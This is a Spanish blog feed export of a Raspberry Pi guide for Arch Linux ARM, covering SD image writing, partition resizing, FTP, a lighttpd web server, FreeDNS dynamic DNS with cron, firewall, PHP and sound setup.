src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMRpazDu2ftTb6WcSaahnkqs-SVKg3MZE-QQqDoWNd_MuerpdmMTLJ0FRO0pdp3ndZ0Ooe5gHVWAs2-aq-38lmUbUH85S6ININCqSbys_KuiiUJ97rykFsv4vF915wyDhiZqhnkmwO0_YY/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-8.png" width="200" /></a></div>
<br />
<h4>
FTP</h4>
FTP (File Transfer Protocol) es un protocolo para la trasnferencia de archivos entre dos máquinas y puede que nos sea de utilidad para mover archivos entre el sistema que usemos y la raspberry. Por ejemplo, si queremos copiar los archivos descargados por transmission a nuestra máquina podemos extraer la tarjeta de memoria de la raspberry insertarla en nuestro equipo y copiar los archivos, otra forma es instalar un servidor ftp en la raspberry y realizar el copiado mediante el protocolo FTP. La primera opción es más rápida (a 10 MiB/s) pero la segunda es más cómoda (a 2 MiB/s con una tarjeta clase 10) ya que no tendremos que apagar la raspberry y mover la tarjeta SD de un sistema a otro. También nos puede ser útil si queremos dejar en la Raspberry un archivo php.<br />
<br />
Si optamos por la segunda opción podemos utilizar Very Secure FTP que ocupa muy poco y no tiene ninguna dependencia, su paquete es vsftd:<br />
<br />
Una vez instalado debemos habilitar el servicio e iniciarlo:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-2.sh"></script>
<br />
Editamos también el archivo de configuración /etc/vsftpd.conf, hay un montón de propiedades pero las básicas que nos interesará modificar son anonymous_enable para permitir o no autenticación anónima, local_enable para permitir iniciar sesión con los usuarios de la raspberry y write_enable para permitir realizar operaciones de escritura como subir o eliminar archivos.<br />
<br />
Ya en el ordenador con el que trabajemos deberemos instalar un cliente FTP para realizar las transferencias desde y a la raspberry, podemos utilizar uno de los más conocidos, filezilla.<br />
<br />
Para conectarnos en el sitio indicaremos como protocolo SFTP, modo de acceso normal y el nombre de usuario y password de un usuario de la raspberry.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAi_8Wo3OOSHpNHNTlAWsndkV9gA4Fth7IrOtq1DAcwtzf_8u5B0AHQai-2y3YjIucQshEe14QhAmI9JJAGAXP_yTUxNVnmg9cUKp87K1CFjYnarrrA_lQyfDJyPTv3zC1xFQHmuYEHIef/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="139" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAi_8Wo3OOSHpNHNTlAWsndkV9gA4Fth7IrOtq1DAcwtzf_8u5B0AHQai-2y3YjIucQshEe14QhAmI9JJAGAXP_yTUxNVnmg9cUKp87K1CFjYnarrrA_lQyfDJyPTv3zC1xFQHmuYEHIef/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-9.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1SWBZfmLXFBugrrv7ik9bMkOtxjSIA5rSZJKoH-V3C-smT7yfRahgj8v_5Fa4-JqhhiTTW6ByFv7cfXJXy-mY7T76-dmJ1aYBzeThpJjbDk43DyAI5ED2-dVC2gzeJ7PpPrlab-ELh_nW/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1SWBZfmLXFBugrrv7ik9bMkOtxjSIA5rSZJKoH-V3C-smT7yfRahgj8v_5Fa4-JqhhiTTW6ByFv7cfXJXy-mY7T76-dmJ1aYBzeThpJjbDk43DyAI5ED2-dVC2gzeJ7PpPrlab-ELh_nW/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-10.png" width="200" /></a></div>
<br />
<a href="http://welcome.filezilla-project.org/welcome?type=client&category=documentation_basic&version=3.5.3">http://welcome.filezilla-project.org/welcome?type=client&category=documentation_basic&version=3.5.3</a><br />
<a href="http://welcome.filezilla-project.org/welcome?type=client&category=documentation_network&version=3.5.3">http://welcome.filezilla-project.org/welcome?type=client&category=documentation_network&version=3.5.3</a><br />
<a href="http://wiki.filezilla-project.org/Documentation">http://wiki.filezilla-project.org/Documentation</a><br />
<br />
<h4>
Servidor web</h4>
Aunque la raspberry sea pequeña y no parezca muy indicada para actuar como servidor tiene algún punto que la hace especialmente adecuado para ello como es que tiene un consumo muy bajo, ridículo (3 watios) para un servidor mucho más potente (200 watios o más), ocupa también un espacio ridículo en comparación con un servidor más potente, tampoco necesita una refrigeración especial. Al menos para un uso personal o un entorno para un equipo de desarrollo puede ser más que suficiente.<br />
<br />
Una muy buena opción es lighttpd, es un servidor de nueva generación de los llamados ligeros que le están ganando terreno a apache, con trasnferencias asíncronas, que ocupa apenas 1 MiB, con muy pocas dependencias. Su paquete es lighttpd. El document root por defecto está en /srv/http donde han de estar alojados los archivos que va a servir.<br />
<br />
Me gusta más cherokee, no porque sea mejor ni peor sino porque es un proyecto liderado por un español, <a href="http://www.alobbs.com/">Álvaro López Ortega</a>, cosa rara por estos sitios, sin embargo, en la raspberry su consola de administración tiene un funcionamiento pobre llegando a no ser usable, esto unido a que sus archivos de configuración son bastante crípticos para editarlos con un editor de texto la opción que recomiendo es lighttpd. Otra opción sería nginx.<br />
<br />
Al igual que con vsftpd debemos habilitar el servicio e iniciarlo.<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-3.sh"></script><br />
<br />
<h4>
Acceso desde internet con FreeDNS</h4>
Llegados a este punto podemos disponer de un servidor web sin embargo para que sea accesible desde internet necesitamos aún un pieza fundamental en el funcionamiento de la web, un nombre de dominio nos proporcionará un identificador para nuestro servidor que no cambiará con el tiempo aunque la IP pública de nuestro router que nuestro proveedor de servicios de internet (ISP) nos asigna lo haga.<br />
<br />
Un opción gratuita es utilizar FeeDSN que nos permitirá obtener un subdominio de ciertos dominios públicos como mooo.com. Necesitaremos crearnos una cuenta en FreeDNS y crear un subdominio. Una vez lo tengamos se nos presenta el problema de como actualizar en FreeDNS nuestra IP pública cada vez que nuestro ISP nos de una distinta. Para ello una opción sencilla es crearnos un script que con cron se ejecute cada cierto tiempo.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv9GJJZGTtjpaRGTHnWnLmCYlgO6uECDUFmwhM1tzQKMHSOWIOtOwJo2eVbswTexy95B-LB-AT9os-hfC40OWUNr4RTkH4yKRVfcV1uLn47b49Ohs2xTasAVYiqms3jXSF0Sv7dMY9UQHX/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv9GJJZGTtjpaRGTHnWnLmCYlgO6uECDUFmwhM1tzQKMHSOWIOtOwJo2eVbswTexy95B-LB-AT9os-hfC40OWUNr4RTkH4yKRVfcV1uLn47b49Ohs2xTasAVYiqms3jXSF0Sv7dMY9UQHX/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-12.png" width="200" /></a></div>
<br />
Primeramente necesitaremos una serie de utilidades que están contenidas en el paquete dnsutils.<br />
<br />
Luego el script con un contenido similar al siguiente cambiando el API_KEY que nos asigne FreeDNS para el dominio:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=freedns_update.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihV1EIE4MCHaT86n-knIa83W7vi4aml1b_21laZTVE73L5NOPyJvPiZNxEOUCMLEkbpH02BKZ_YRJ_MuuvmixVOPNrLgHa2bn_GDCJeg7Qk-TZdt4Hcgbx6pTHOOSgp4kPyjHGgc6gtdg-/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihV1EIE4MCHaT86n-knIa83W7vi4aml1b_21laZTVE73L5NOPyJvPiZNxEOUCMLEkbpH02BKZ_YRJ_MuuvmixVOPNrLgHa2bn_GDCJeg7Qk-TZdt4Hcgbx6pTHOOSgp4kPyjHGgc6gtdg-/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-13.png" width="200" /></a></div>
<br />
Le cambiamos de permisos al archivo y añadimos la expresión cron con crontab:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-5.sh"></script>
Añadiendo el siguiente contenido para ejecutar el script cada 5 minutos:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=crontab"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhoWiYcSUZM1ZcMW_GPeVFoQAi7O61WtkhjlbO_YTcX_9dz3dSbHWrXm9ioBXkzrJCceuNaUJ1hRYINjf761C3Eze5qHTYT1xaet-r-h5gDdQSY5dyVZ-dW1lN1nwkfnO5GgksERevqdWR/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhoWiYcSUZM1ZcMW_GPeVFoQAi7O61WtkhjlbO_YTcX_9dz3dSbHWrXm9ioBXkzrJCceuNaUJ1hRYINjf761C3Eze5qHTYT1xaet-r-h5gDdQSY5dyVZ-dW1lN1nwkfnO5GgksERevqdWR/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-14.png" width="200" /></a></div>
En el archivo /var/log/crond.log podemos ver las ejecuciones y resultados del script.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbcy4faMeCN26TXc2F3LLYPjGAbYQan_x4q4I4PJAE4FDgaHBrKiqtdkRH1S4VDJqCBffkQdNtO44rxavMnYVaNd_3k0Q-MWcWaLk0RJHcCXiv0rTui0F4APqBkuz0urVo98GEpUDBI6gH/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="49" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbcy4faMeCN26TXc2F3LLYPjGAbYQan_x4q4I4PJAE4FDgaHBrKiqtdkRH1S4VDJqCBffkQdNtO44rxavMnYVaNd_3k0Q-MWcWaLk0RJHcCXiv0rTui0F4APqBkuz0urVo98GEpUDBI6gH/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-15.png" width="200" /></a></div>
<a href="http://freedns.afraid.org/dynamic/index.php">http://freedns.afraid.org/dynamic/index.php</a><br />
<a href="https://wiki.archlinux.org/index.php/Cron">https://wiki.archlinux.org/index.php/Cron</a><br />
<br />
<h4>
Configuración router</h4>
Para hacer que nuestra RPi sea accesible desde internet tendremos que modificar alguna configuración del router como abrir puertos para que el router redirija el tráfico que le llega a un puerto a una determinada direccion IP y puerto de nuestra red. Esto nos será útil principalmente para el caso del servidor web (puerto 80), de transmission (puerto 51413) u otro servidor que queramos que sea accessible desde internet.<br />
<br />
Como comentaba en la asignación de IP estática primero comprobaremos el rango de direcciones IP que asigna el servidor DHCP del router y que la dirección IP estática que hemos asignado a la RPi está fuera de ese rango.<br />
<br />
Posteriormente abrimos los puertos, las opciones serán diferentes para cada modelo de router pero similares.<br />
<br />
<h4>
Firewall</h4>
A pesar de que el router ya hará de firewall podemos utilizar ufw en la propia RPi.
<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-6.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6Ey-L6ciDIxeFMWccC19CsP9xB4IaVhLKenXPuzGPz8SDkhowG9kVZ66Gl8LWZLzSprRx46UX4RO1hgfQYYVJsES7KhXGMazilOuMKx23QWSQhq5sh08r1WSXcsNpb8sQgtjWAP0bE5J9/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-17.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6Ey-L6ciDIxeFMWccC19CsP9xB4IaVhLKenXPuzGPz8SDkhowG9kVZ66Gl8LWZLzSprRx46UX4RO1hgfQYYVJsES7KhXGMazilOuMKx23QWSQhq5sh08r1WSXcsNpb8sQgtjWAP0bE5J9/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p2-17.png" width="200" /></a></div>
<br />
<h4>
Sistemas de archivos NTFS, FAT</h4>
Puede que necesitemos instalar el soporte para acceder a sistemas de archivos con formato NTFS (que es el utilizado por windows) o FAT. Tan solo necesitaremos instalar los siguientes paquetes ntfs-3g, ntfsprogs y dosfstools.<br />
<br />
Para realizar el montaje manualmente ejecutaremos el siguiente comando, donde /mnt es la carpeta donde queremos montar el sistema de archivos de la partición de un disco o memoria USB externos:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-7.sh"></script>
Si queremos que este montaje se realice de forma automática nada más conectar el cable USB a la RPi instalaremos el paquete udev-automount, que realizará el montaje en la carpeta /media.<br />
<br />
<h4>
PHP</h4>
Para instalar PHP basta con instalar los paquetes php php-cgi. Para comprobar que se han instalado correctamente podemos ejecutar:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-8.sh"></script>
Ahora nos quedaría integrar el soporte en el servidor web para que sea capaz de procesar los archivos php. La configuración varía en cada servidor web. Aquí explicare como configurarlo con ligthttpd. Para ello deberemos editar el archivo /etc/lighttpd/lighttpd.conf e incluir al final las siguientes lineas:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=lighttpd.conf"></script>
Ahora deberemos crear el archivo /etc/lighttpd/fastcgi.conf (y el directorio donde está) e incluir en él el siguiente contenido:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=fastcgi.conf"></script>
<br />
<h4>
Sonido</h4>
Primero añadimos nuestro usuario al grupo de audio para reproducir sonidos, cargamos el módulo del sonido y reproducimos un sonido de prueba:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-9.sh"></script>
Si no queremos cargar el módulo manualmente cada vez que queramos reproducir sonido se puede cargar el módulo automáticamente cuando se inicie la Raspberry Pi con:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-10.sh"></script>
Y añadiendo a ese archivo el módulo que queremos cargar (snd-bcm2835).<br />
<br />
Habiendo cargado el módulo snd_bcm2835 con <a href="https://wiki.archlinux.org/index.php/Cmus">cmus</a> podemos reproducir mp3, ogg entre otros formatos instalando varios paquetes que son: alsa-firmware alsa-lib alsa-plugins alsa-utils cmus pulseaudio libmad libvorbis.<br />
<br />
Una cosa que tenemos que tener en cuenta es la salida por la que se emitirá el sonido, por la salida HDMI o por el jack 3.5mm, si no oímos ningún sonido puede que necesitemos cambiar la salida a la que estemos utilizando: Podemos hacerlo con:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-11.sh"></script>
Después de instalar los paquetes anteriores puede que necesitemos reiniciar. Podemos probar el sonido con aplay.<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-12.sh"></script>
Y después cmus:<br />
<br />
<script src="https://gist.github.com/4573882.js?file=script-14.sh"></script>
Si estás interesado en escuchar música con la Raspberry puedes consultar la entrada <a href="http://elblogdepicodev.blogspot.com.es/2013/01/4-formas-de-escuchar-musica-internet.html">4 formas de escuchar música a través de internet</a> en la que se indican varias maneras de hacerlo.<br />
<br />
<h4>
SSH con certificados</h4>
El usar SSH puede resultar incómodo ya que hay que estar constantemente introduciendo la clave, para evitarlo en otra entrada explicaré <a href="http://elblogdepicodev.blogspot.com.es/2013/01/autenticacion-ssh-con-clave-privada-y.html">como usar SSH con una clave pública y privada para realizar la autenticación</a> ya que es algo que seguramente sea igual para la RPi o para cualquier otro sistema.<br />
<br />
La Raspberry con llos siguientes programas nos puede ofrecer muchas funcionalidades pero tampoco hay que esperar una capacidad igual al de un ordenador de escritorio. En las pruebas que he realizado la velocidad de transferencia que he conseguido desde la tarjeta SD y desde un disco duro externo conectado por USB a la RPi ha sido de tan solo ¡2 MiB/s!.<br />
<br />
<h4>
Utilidad de screen</h4>
Si la conexión ssh se cierra todos los programas que se iniciaron en ella se terminan con lo que si estabamos reproduciendo múscica con cmus, cmus se terminará y dejaremos de escuchar música. Para evitarlo <a href="http://elblogdepicodev.blogspot.com.es/2013/01/dejar-procesos-vivos-de-conexion-ssh.html">podemos usar screen</a>.<br />
<br />
Los elementos básicos para usar este miniordenador son la <a href="http://amzn.to/2cN0d6L">placa de la Raspberry Pi</a>, una <a href="http://amzn.to/2dfFJT7">cargador de 3A</a> junto con una <a href="http://amzn.to/2cN0SFi">tarjeta SD</a>.<br/>
<br />
Referencia:<br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/05/raspberry-pi-desempaquetado-unboxing.html">Raspberry Pi, desempaquetado («unboxing»)</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2012/06/guia-instalacion-raspberry-pi-con-arch.html">Raspberry Pi, Guía instalación (Parte I) Instalación base</a><br />
<a href="http://elblogdepicodev.blogspot.com.es/2013/01/dejar-procesos-vivos-de-conexion-ssh.html">Dejar procesos vivos de conexión SSH con screen</a>Unknownnoreply@blogger.comtag:blogger.com,1999:blog-2347950092468997900.post-83640161479330050782012-06-08T21:03:00.000+02:002016-09-23T19:35:27.587+02:00Guía instalación Raspberry Pi con Arch Linux ARM (Parte I, instalación base)<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Raspberry Pi" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7jjTcqBy7QV4vQK0CvI75eyJi2A3DTZggo01HoiKrEJUYMgdYTX4t-F7RbcQjKnHsqBrmXHMmshSiH-0MtkldzOHUob2KfQ7MyGGgu1oyPC1MqOhzo7_kFt4CrxDufM9aYwIlRA3qva-m/s1600/raspberrypi.jpg" title="Raspberry Pi" /></div>
<span style="color: #e06666;">Nota: la última actualización de esta guía fue el 19-01-2013. Al ser Arch Linux una distribución rolling release puede que cuando la leas algunas cosas hayan cambiado aunque la mayoría seguirán siendo como esta escrito a continuación.</span><br />
<br />
Si ya tenemos en nuestras manos una <a href="http://www.raspberrypi.org/">Raspberry Pi</a> convencidos de que nos puede ser de utilidad para algunas tareas y la hemos <a href="http://elblogdepicodev.blogspot.com.es/2012/05/raspberry-pi-desempaquetado-unboxing.html">desempaquetado</a> el primer paso que deberemos de dar es instalar alguna de las <a href="http://elinux.org/RPi_Distributions">distribuciones GNU/Linux disponibles</a>, en este momento Debian y <a href="http://archlinuxarm.org/">Arch Linux ARM</a>, Fedora finalmente ha tenido algún problema y desapareció de la lista de descargas aunque es probable que en algún momento vuelva a ofrecer soporte.<br />
<div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<img alt="Arch Linux ARM" border="0" height="88" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSbitDQk99pkUn1c-qWukDM20dUkFB2AJd2AmnQ32qSRQovqsUhO0GiBwQEVT7hNaFMVwnOl_4of-FrhGCynM4Iy04uHDPPFt2heMYXnCR-EycxMYb1DQvYO-QMNoK579eiLGeFGkvB2Rc/s400/archlinuxarm.png" title="Arch Linux ARM" width="400" /></div>
<br />
Los materiales que deberemos tener para realizar el proceso además de la propia Raspberry son:<br />
<ul>
<li>un cargador USB y un cable adaptador USB a micro USB (un cargador de móvil capaz de dar al menos 750mA)</li>
<li>Una tarjeta de memoria SD o SDHC (en la lista de <a href="http://elinux.org/RPi_VerifiedPeripherals#Working_SD_Cards">periféricos verificados</a> puedes comprobar las tarjetas compatibles)</li>
<li>Un cable de red y un router al que conectarlo</li>
<li>Conexión a internet para realizar la instalación de paquetes y actualizaciones</li>
<li>Un ordenador con un lector de tarjetas SD o SDHC.</li>
<li>Última imagen de la distribución Arch Linux ARM que podemos obtener de la <a href="http://www.raspberrypi.org/downloads">página de descargas</a>.</li>
</ul>
<div>
Este es material básico que deberemos disponer, opcionalmente podemos tener un teclado USB y un monitor con entrada de vídeo HDMI (además de un cable HDMI), pero es opcional ya que desde un inicio podremos conectarnos via <a href="http://es.wikipedia.org/wiki/Secure_Shell">SSH</a> a la Raspberry Pi con lo que el teclado y monitor son prescindibles salvo que queramos disponer de un entorno gráfico (y con una terminal remota gráfica como <a href="http://es.wikipedia.org/wiki/VNC">VNC</a> tal vez ni eso).</div>
<br />
Los pasos para realizar la instalación son los siguientes:<br />
<br />
<h4>
Grabar la imagen de Arch Linux ARM en la tarjeta SDHC</h4>
Este es el primer paso que deberemos hacer pero para ello deberemos averiguar el dispositivo correspondiente a la tarjeta SD ejecutando el comando antes de insertarla y después de insertarla:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-1.sh"></script>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmM0-h5fHA8ZgNZjiqzS0wWzzLUyKv1_7OeJ51f56-awBYf3mfjbIuM4Uzds9f761N_f0gbyS2plEfrc3YkwghCZaWdubiCyUFKPpKAd1CaMoTCwKByfr5b4jfOyghL2HytESTHtuP9e2_/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmM0-h5fHA8ZgNZjiqzS0wWzzLUyKv1_7OeJ51f56-awBYf3mfjbIuM4Uzds9f761N_f0gbyS2plEfrc3YkwghCZaWdubiCyUFKPpKAd1CaMoTCwKByfr5b4jfOyghL2HytESTHtuP9e2_/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-1.png" width="200" /></a></div>
<br />
El nuevo dispositivo que nos aparezca será el correspondiente a la tarjeta SD, en la imagen /dev/mmcblk0 (sin el p1 o p2, que indican la partición). Hay que prestar especial atención a este paso ya que si grabamos la imagen en otro dispositivo probablemente perderemos datos en el mejor de los casos o destruiremos el sistema de archivos dejando el ordenador inservible.<br />
<br />
Una vez averiguado el dispositivo destino de la imagen la grabaremos con el siguiente comando, cambiando la ruta del parámetro if a donde tengamos la imagen:<br />
<br />
<script src="https://gist.github.com/4572735.js?file=script-2.sh"></script>
El proceso tardará un rato y si todo ha ido bien montando la tarjeta veremos dos particiones, una de 100 MiB que es la partición de arranque y otra de 1,9 GiB para el usuario.<br />
<br />
<h4>
Redimensionar partición del sistema</h4>
Los tamaños de las particiones serán los anteriores (100 MiB y 1,9 GiB) independientemente de si tenemos una tarjeta SDHC de más capacidad como 4/8/16/32 GiB. Si queremos aprovechar el espacio total de nuestra tarjeta deberemos redimensionar la partición de 1,9 GiB o crear una tercera partición. Aquí explicaré la opción de redimensionarla que se puede hacer por linea de comandos o de forma gráfica con <a href="http://es.wikipedia.org/wiki/GParted">gparted</a> ya sea con un live CD si somos usuarios de windows o instalando su paquete para nuestra distribución GNU/Linux.<br />
<br />
Seleccionamos el dispositivo de la tarjeta en gparted y con el botón derecho sobre la partición de 1,9 GiB le damos a redimensionar (la partición deberá estar desmontada), agrandamos la partición hasta el máximo y le damos a Redimensionar/mover. Todavía los cambios no se han aplicado, hacemos clic en el menu «Editar > Aplicar todas las operaciones». Este proceso también tardará uno o dos minutos.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI-Bb7Tqzi6tCeJbPe6BuI5CP0OH1vHcUaoFYu_pKdSg5aM8DTz-2D7s_4P2fUdc5-S0CXCAr7JNatk4YxmGmpAy_Y4HVuMYooQi3KHlfapZ3tRFpvuIqxHi963oDm2QD2nGXWO6z-rWcC/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgI-Bb7Tqzi6tCeJbPe6BuI5CP0OH1vHcUaoFYu_pKdSg5aM8DTz-2D7s_4P2fUdc5-S0CXCAr7JNatk4YxmGmpAy_Y4HVuMYooQi3KHlfapZ3tRFpvuIqxHi963oDm2QD2nGXWO6z-rWcC/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-2.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5wffdwBoAUagvwjIoIC4FNV6mFkErJ62bVhrA4877l2VZbiB2Wp4eQBitWBP3ZAN7-qFr8Pgjk01s0xa2oRgORed6JG30Ynzzs1vCwnFcoi8OOaS0rJGbtUXE4xTcDqxCd2GKrrg5bhdK/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5wffdwBoAUagvwjIoIC4FNV6mFkErJ62bVhrA4877l2VZbiB2Wp4eQBitWBP3ZAN7-qFr8Pgjk01s0xa2oRgORed6JG30Ynzzs1vCwnFcoi8OOaS0rJGbtUXE4xTcDqxCd2GKrrg5bhdK/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-3.png" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWTClqPZfkgIM7SJ004XrohRlL2njHjovUaGi5_6FfTTgiWwypAy8iZRRIws-rb7VaUr4k5FkKrFviCQXaRnA64SedVQB8O1UCxWzsp7b-UlkENo_JFROz-zxCg3Fw0y4pAiQ69ndX_yCf/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWTClqPZfkgIM7SJ004XrohRlL2njHjovUaGi5_6FfTTgiWwypAy8iZRRIws-rb7VaUr4k5FkKrFviCQXaRnA64SedVQB8O1UCxWzsp7b-UlkENo_JFROz-zxCg3Fw0y4pAiQ69ndX_yCf/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-4.png" width="200" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOLOASnlK7ihRPFbAa2vZj4L4gZrXLJlMbmTBJUuJ1mn8OXC3PbYGhXg0MgVvs0ckjO8g0kTp-eJbC-KUs5391VEDDmNDksS8bC16jSYO846ufsKPfHtDdNWVvMDD1dQ-nSOJFTo7f8S0i/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOLOASnlK7ihRPFbAa2vZj4L4gZrXLJlMbmTBJUuJ1mn8OXC3PbYGhXg0MgVvs0ckjO8g0kTp-eJbC-KUs5391VEDDmNDksS8bC16jSYO846ufsKPfHtDdNWVvMDD1dQ-nSOJFTo7f8S0i/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-5.png" style="cursor: move;" width="200" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir1gz-x4tudOb7v7vo8cAHwNkwMfJKMv4IkxfL__fQhqrBmtNfpzjq-D5FcKSLXOGh-BHwFBvo9SjwDj31YP2ZbxkhEj84erpvzuPNNQob5Eq-b-oWpbpbrEQ2PYergyUMXSPbizC6Tls6/s1600/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="159" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEir1gz-x4tudOb7v7vo8cAHwNkwMfJKMv4IkxfL__fQhqrBmtNfpzjq-D5FcKSLXOGh-BHwFBvo9SjwDj31YP2ZbxkhEj84erpvzuPNNQob5Eq-b-oWpbpbrEQ2PYergyUMXSPbizC6Tls6/s200/gu%C3%ADa-instalaci%C3%B3n-archlinux-raspberrypi-p1-6.png" width="200" /></a></div>
<br />
En este punto ya tenemos la tarjeta SD lista para arrancar la Raspberry Pi y será lo que hagamos a continuación.<br />
<br />
<h4>
Primer arranque de la Raspberry Pi</h4>
Como vemos el proceso de instalación hasta aquí tiene unos cuantos pasos pero no corremos ningún peligro de dejar la Raspberry Pi tan útil como un ladrillo («briked») como nos podría ocurrir con otras placas. Lo peor que podremos conseguir es que no arranque con la tarjeta SD.<br />
<br />
